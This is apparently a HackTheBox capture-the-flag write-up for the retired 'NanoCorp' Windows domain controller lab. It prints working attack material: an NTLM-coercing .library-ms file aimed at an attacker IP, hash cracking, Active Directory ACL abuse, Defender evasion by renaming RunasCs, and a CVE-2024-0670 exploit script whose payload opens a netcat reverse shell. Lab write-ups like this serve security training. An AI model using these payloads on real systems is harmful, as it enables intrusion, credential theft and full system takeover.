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[ writeup · case #021 ]

NanoCorp

Foothold via a malicious .library-ms file uploaded to a hiring portal, which coerces NTLM authentication from the DC and leaks web_svc credentials. AD ACL abuse lets me add web_svc to IT_Support and reset monitoring_svc's password, then authenticate to WinRM via Kerberos for user. Root comes…

date
2025-11-08
read
4 min
tags
#htb #retired
platform
htb
os
windows
difficulty
hard
FieldValue
OSWindows
DifficultyHard
Release Date2025-12-02
RetiredTBD
Authorl1ght

Summary


Enumeration

Port Scan

bash
rustscan --range 1-65535 -a <target> -- -A
text
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Nanocorp
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
5986/tcp  open  ssl/http      syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (WinRM)
6556/tcp  open  unknown       syn-ack ttl 127

Key findings:

  • Port 80 — Apache web server — corporate site with a hiring portal at hire.nanocorp.htb
  • Port 5986 — WinRM over HTTPS — remote management, useful once credentials are obtained
  • Port 6556 — Checkmk Agent — running as LocalSystem, the root vector
  • Full AD stack (88, 389, 445, 464) confirms this is a domain controller

Web / Service Enumeration

The main site at nanocorp.htb is a static corporate page. An "Apply Now" button redirects to hire.nanocorp.htb, a job application portal that accepts ZIP file uploads. The upload field is the attack surface — the server extracts the ZIP contents, and any .library-ms file inside triggers an automatic UNC path resolution on Windows, which can be weaponized to coerce NTLM authentication.

I craft a malicious .library-ms file pointing at my machine's IP over SMB:

bash
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <version>6</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <simpleLocation>
        <url>\\<ATTACKER_IP>\share</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
bash
zip doc.zip doc.library-ms

With Responder running on tun0, I upload doc.zip to the hiring portal. The server extracts the archive and Windows automatically resolves the UNC path, sending an SMB authentication attempt straight to my listener.

bash
sudo responder -I tun0 -v

The captured hash belongs to NANOCORP\web_svc:

text
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:bd430377a8c4cfe9:[REDACTED:HASH]:...

I crack it offline with John:

bash
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john hash.txt --show --format=netntlmv2
text
web_svc:[REDACTED:CRED]

Credentials confirmed valid against LDAP:

bash
nxc ldap <target> -u 'web_svc' -p '[REDACTED:CRED]'
text
[+] nanocorp.htb\web_svc:[REDACTED:CRED]

Foothold

BloodHound reveals that web_svc has AddMember rights on the IT_Support group, and members of IT_Support can force-change the password of monitoring_svc. I chain both: screenshot 1 (opens the full-size image) screenshot 2 (opens the full-size image)```bash

text
bloodyAD --host "<target>" -d "nanocorp.htb" -u "web_svc" -p '[REDACTED:CRED]' add groupMember "it_support" "web_svc"

[+] web_svc added to it_support

text

```bash
bloodyAD --host "<target>" -d "nanocorp.htb" -u "web_svc" -p '[REDACTED:CRED]' set password "MONITORING_SVC" '[REDACTED:CRED]'
text
[+] Password changed successfully!

With monitoring_svc under control, I sync the clock (Kerberos requires it), grab a TGT, and authenticate via WinRM:

bash
sudo ntpdate -u <target>
echo '[REDACTED:CRED]' | kinit [REDACTED:EMAIL]
export KRB5CCNAME=/tmp/krb5cc_1000
evil-winrm -i dc01.nanocorp.htb -r NANOCORP.HTB -S

User Flag

text
*Evil-WinRM* PS /home/light\Desktop> type user.txt

Privilege Escalation

From the WinRM shell I confirm Checkmk Agent 2.1.0p10 is listening on port 6556 as LocalSystem. This version is vulnerable to CVE-2024-0670 — during an MSI repair (msiexec /fa), the agent writes temporary .cmd files to C:\Windows\Temp\ using predictable names: cmk_all_{PID}_{counter}.cmd. If those files already exist and are marked read-only, Windows Installer picks them up and executes them as SYSTEM without checking their content.

The attack requires running the seeding script as web_svc, since monitoring_svc lacks write access to C:\Windows\Temp\. I use a compiled and obfuscated version of RunasCs (renamed to SvcHelper.exe to evade Defender) to execute bad.ps1 under web_svc's context.

First I obfuscate RunasCs on my attacker machine:

python
with open('RunasCs.cs', 'r') as f:
    code = f.read()
code = code.replace('RunasCsException', 'SvcHelperEx')
code = code.replace('RunasCs', 'SvcHelper')
code = code.replace('RunasCsOptions', 'SvcHelperOpts')
code = 'namespace SystemServiceHelper {\n' + code + '\n}'
with open('SvcHelper.cs', 'w') as f:
    f.write(code)

I upload SvcHelper.cs to the target's Documents directory and compile it there — compiling in C:\Windows\Temp\ triggers Defender:

powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /optimize /out:SvcHelper.exe SvcHelper.cs
Copy-Item SvcHelper.exe C:\Windows\Temp\SvcHelper.exe -Force

bad.ps1 locates the Checkmk MSI via the Installer registry hive, seeds 28,000 read-only .cmd files across the full PID range, then triggers a silent MSI repair:

powershell
param(
    [int]$MinPID = 1000,
    [int]$MaxPID = 15000,
    [string]$LHOST = "<ATTACKER_IP>",
    [string]$LPORT = "9001"
)
$NcPath = "C:\Windows\Temp\nc.exe"
$BatchPayload = "@echo off`r`n$NcPath -e cmd.exe $LHOST $LPORT"

$msi = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' | Where-Object { $_.DisplayName -like '*mk*' } | Select-Object -First 1).LocalPackage

if (!$msi) { Write-Error "Could not find Checkmk MSI"; return }
Write-Host "[*] Found MSI at $msi"

foreach ($ctr in 0..1) {
    for ($num = $MinPID; $num -le $MaxPID; $num++) {
        $filePath = "C:\Windows\Temp\cmk_all_$($num)_$($ctr).cmd"
        try {
            [System.IO.File]::WriteAllText($filePath, $BatchPayload, [System.Text.Encoding]::ASCII)
            Set-ItemProperty -Path $filePath -Name IsReadOnly -Value $true -EA SilentlyContinue
        } catch {}
    }
}
Write-Host "[*] Seeding complete."
Write-Host "[*] Triggering MSI repair..."
Start-Process "msiexec.exe" -ArgumentList "/fa `"$msi`" /qn /l*vx C:\Windows\Temp\cmk_repair.log" -Wait
Write-Host "[*] Trigger sent. Check listener."

With a netcat listener ready on port 9001, I trigger the chain:

powershell
.\SvcHelper.exe web_svc "[REDACTED:CRED]" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\bad.ps1"

The MSI repair process finds and executes one of the pre-seeded files as SYSTEM:

text
C:\Windows\system32> whoami
nt authority\system

Root Flag

text
/home/light\Desktop> type root.txt

Key Takeaways

  • .library-ms files are a stealthy NTLM coercion vector — Windows silently resolves the embedded UNC path on file open/extract, no user interaction required beyond the upload
  • AD ACL chains are often more powerful than they look — AddMember on one group cascading into ForceChangePassword on a privileged account is a full takeover path
  • CVE-2024-0670 is a race condition where the fix is flooding the race space — 28,000 pre-seeded files across the full PID range makes the race near-deterministic; marking them read-only defeats AV cleanup

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